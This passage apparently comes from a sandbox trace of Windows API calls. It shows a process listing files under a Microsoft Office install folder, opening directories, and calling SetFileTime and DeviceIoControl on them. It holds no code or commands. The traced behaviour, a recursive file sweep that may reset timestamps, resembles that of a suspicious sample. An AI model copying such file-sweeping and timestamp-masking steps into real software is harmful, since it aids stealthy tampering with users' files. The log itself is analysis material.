ftLastWriteTime.dwLowDateTime=0x1e6b2600, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x5f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x4388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e19600, ftCreationTime.dwHighDateTime=0x1c56bc4, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf9e19600, ftLastWriteTime.dwHighDateTime=0x1c56bc4, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a197900, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a197900, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6b2dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV.HXS", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef99800, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdef99800, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x7770e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cfb800, ftCreationTime.dwHighDateTime=0x1cac79b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70cfb800, ftLastWriteTime.dwHighDateTime=0x1cac79b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x13f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83340500, ftCreationTime.dwHighDateTime=0x1c937e6, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x83340500, ftLastWriteTime.dwHighDateTime=0x1c937e6, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.CSS", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbba2a00, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbba2a00, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x7fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VRD", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4e570, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VSL", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d63000, ftCreationTime.dwHighDateTime=0x1bbd3c6, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74d63000, ftLastWriteTime.dwHighDateTime=0x1bbd3c6, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GR8GALRY.GRA", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61152c00, ftCreationTime.dwHighDateTime=0x1c6e5fa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61152c00, ftLastWriteTime.dwHighDateTime=0x1c6e5fa, nFileSizeHigh=0x0, nFileSizeLow=0x94f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.HXS", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXT", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x32d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL", cAlternateFileName="")) returned 1 [0076.204] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0076.204] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x18780, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0076.204] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRLEX.DLL", cAlternateFileName="")) returned 1 [0076.204] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9dd600, ftCreationTime.dwHighDateTime=0x1cacb3e, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdd9dd600, ftLastWriteTime.dwHighDateTime=0x1cacb3e, nFileSizeHigh=0x0, nFileSizeLow=0xbb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove Starter Template.xsn", cAlternateFileName="")) returned 1 [0076.204] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x22c410, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.HXS", cAlternateFileName="")) returned 1 [0076.204] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="")) returned 1 [0076.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0076.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0076.265] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0076.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac6708 [0076.265] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac6708, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xac6708, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0076.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6708) returned 1 [0076.266] NtClose (Handle=0x168) returned 0x0 [0076.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0076.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0076.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0076.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0076.266] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0076.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0076.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ad58 [0076.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0076.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaef20 [0076.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b388 [0076.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.306] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0076.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaef40 [0076.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b490 [0076.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.306] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0076.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaef60 [0076.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b598 [0076.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 